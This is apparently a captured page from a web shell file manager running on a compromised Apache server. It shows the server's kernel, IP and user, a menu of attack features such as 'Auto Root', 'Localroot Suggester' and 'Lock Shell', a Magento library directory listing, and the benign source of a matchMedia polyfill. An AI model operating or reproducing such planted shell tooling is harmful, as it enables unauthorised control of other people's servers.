Linux host2.homegym.sg 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
Apache
Server IP : 159.223.38.192 & Your IP : 159.223.38.192
Domains : 20 Domain
User : eachadea
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
/
home /
eachadea /
public_html /
m2 /
lib /
web /
Delete
Unzip
Name
Size
Permission
Date
Action
chartjs
[ DIR ]
drwxr-xr-x
2023-01-06 06:58
css
[ DIR ]
drwxr-xr-x
2021-06-18 03:17
extjs
[ DIR ]
drwxr-xr-x
2023-01-06 06:58
fonts
[ DIR ]
drwxr-xr-x
2021-06-18 03:17
fotorama
[ DIR ]
drwxr-xr-x
2023-01-06 06:58
i18n
[ DIR ]
drwxr-xr-x
2023-01-06 06:58
images
[ DIR ]
drwxr-xr-x
2023-01-06 06:58
jquery
[ DIR ]
drwxr-xr-x
2023-01-06 06:58
knockoutjs
[ DIR ]
drwxr-xr-x
2023-01-06 06:58
less
[ DIR ]
drwxr-xr-x
2023-01-06 06:58
lib
[ DIR ]
drwxr-xr-x
2023-01-06 06:58
mage
[ DIR ]
drwxr-xr-x
2023-01-06 06:58
magnifier
[ DIR ]
drwxr-xr-x
2023-01-06 06:58
modernizr
[ DIR ]
drwxr-xr-x
2023-01-06 06:58
prototype
[ DIR ]
drwxr-xr-x
2023-01-06 06:58
requirejs
[ DIR ]
drwxr-xr-x
2023-01-06 06:58
scriptaculous
[ DIR ]
drwxr-xr-x
2023-01-06 06:58
tiny_mce_4
[ DIR ]
drwxr-xr-x
2023-01-06 06:58
varien
[ DIR ]
drwxr-xr-x
2023-01-06 06:58
FormData.js
4.14
KB
-rw-r--r--
2023-01-06 06:58
MutationObserver.js
17.21
KB
-rw-r--r--
2023-01-06 06:58
blank.html
0
B
-rw-r--r--
2023-01-06 06:58
es6-collections.js
5.97
KB
-rw-r--r--
2023-01-06 06:58
jquery.js
299.01
KB
-rw-r--r--
2023-01-06 06:58
legacy-build.min.js
200.12
KB
-rw-r--r--
2023-01-06 06:58
matchMedia.js
4.78
KB
-rw-r--r--
2023-01-06 06:58
moment-timezone-with-data.js
180.64
KB
-rw-r--r--
2023-01-06 06:58
moment.js
52.12
KB
-rw-r--r--
2023-01-06 06:58
spacer.gif
43
B
-rw-r--r--
2023-01-06 06:58
underscore.js
51.17
KB
-rw-r--r--
2023-01-06 06:58
Save
Rename
/*! matchMedia() polyfill - Test a CSS media type/query in JS. Authors & copyright (c) 2012: Scott Jehl, Paul Irish, Nicholas Zakas, David Knight. Dual MIT/BSD license */ window.matchMedia || (window.matchMedia = function() { "use strict"; // For browsers that support matchMedium api such as IE 9 and webkit var styleMedia = (window.styleMedia || window.media); // For those that don't support matchMedium if (!styleMedia) { var style = document.createElement('style'), script = document.getElementsByTagName('script')[0], info = null; style.type = 'text/css'; style.id = 'matchmediajs-test'; script.parentNode.insertBefore(style, script); // 'style.currentStyle' is used by IE <= 8 and 'window.getComputedStyle' for all other browsers info = ('getComputedStyle' in window) && window.getComputedStyle(style, null) || style.currentStyle; styleMedia = { matchMedium: function(media) { var text = '@media ' + media + '{ #matchmediajs-test { width: 1px; } }'; // 'style.styleSheet' is used by IE <= 8 and 'style.textContent' for all other browsers if (style.styleSheet) { style.styleSheet.cssText = text; } else { style.textContent = text; } // Test if media query is true or false return info.width === '1px'; } }; } return function(media) { return { matches: styleMedia.matchMedium(media || 'all'), media: media || 'all' }; }; }()); /*! matchMedia() polyfill addListener/removeListener extension. Author & copyright (c) 2012: Scott Jehl. Dual MIT/BSD license */ (function() { // Bail out for browsers that have addListener support if (window.matchMedia && window.matchMedia('all').addListener) { return false; } var localMatchMedia = window.matchMedia, hasMediaQueries = localMatchMedia('only all').matches, isListening = false, timeoutID = 0, // setTimeout for debouncing 'handleChange' queries = [], // Contains each 'mql' and associated 'listeners' if 'addListener' is used handleChange = function(evt) { // Debounce clearTimeout(timeoutID); timeoutID = setTimeout(function() { for (var i = 0, il = queries.length; i < il; i++) { var mql = queries[i].mql, listeners = queries[i].listeners || [], matches = localMatchMedia(mql.media).matches; // Update mql.matches value and call listeners // Fire listeners only if transitioning to or from matched state if (matches !== mql.matches) { mql.matches = matches; for (var j = 0, jl = listeners.length; j < jl; j++) { listeners[j].call(window, mql); } } } }, 30); }; window.matchMedia = function(media) { var mql = localMatchMedia(media), listeners = [], index = 0; mql.addListener = function(listener) { // Changes would not occur to css media type so return now (Affects IE <= 8) if (!hasMediaQueries) { return; } // Set up 'resize' listener for browsers that support CSS3 media queries (Not for IE <= 8) // There should only ever be 1 resize listener running for performance if (!isListening) { isListening = true; window.addEventListener('resize', handleChange, true); } // Push object only if it has not been pushed already if (index === 0) { index = queries.push({ mql: mql, listeners: listeners }); } listeners.push(listener); }; mql.removeListener = function(listener) { for (var i = 0, il = listeners.length; i < il; i++) { if (listeners[i] === listener) { listeners.splice(i, 1); } } }; return mql; }; }()); window.mediaCheck = function(options) { var mq; function mqChange(mq, options) { if (mq.matches) { if (typeof options.entry === "function") { options.entry(); } } else if (typeof options.exit === "function") { options.exit(); } }; mq = window.matchMedia(options.media); mq.addListener(function() { mqChange(mq, options); }); mqChange(mq, options); };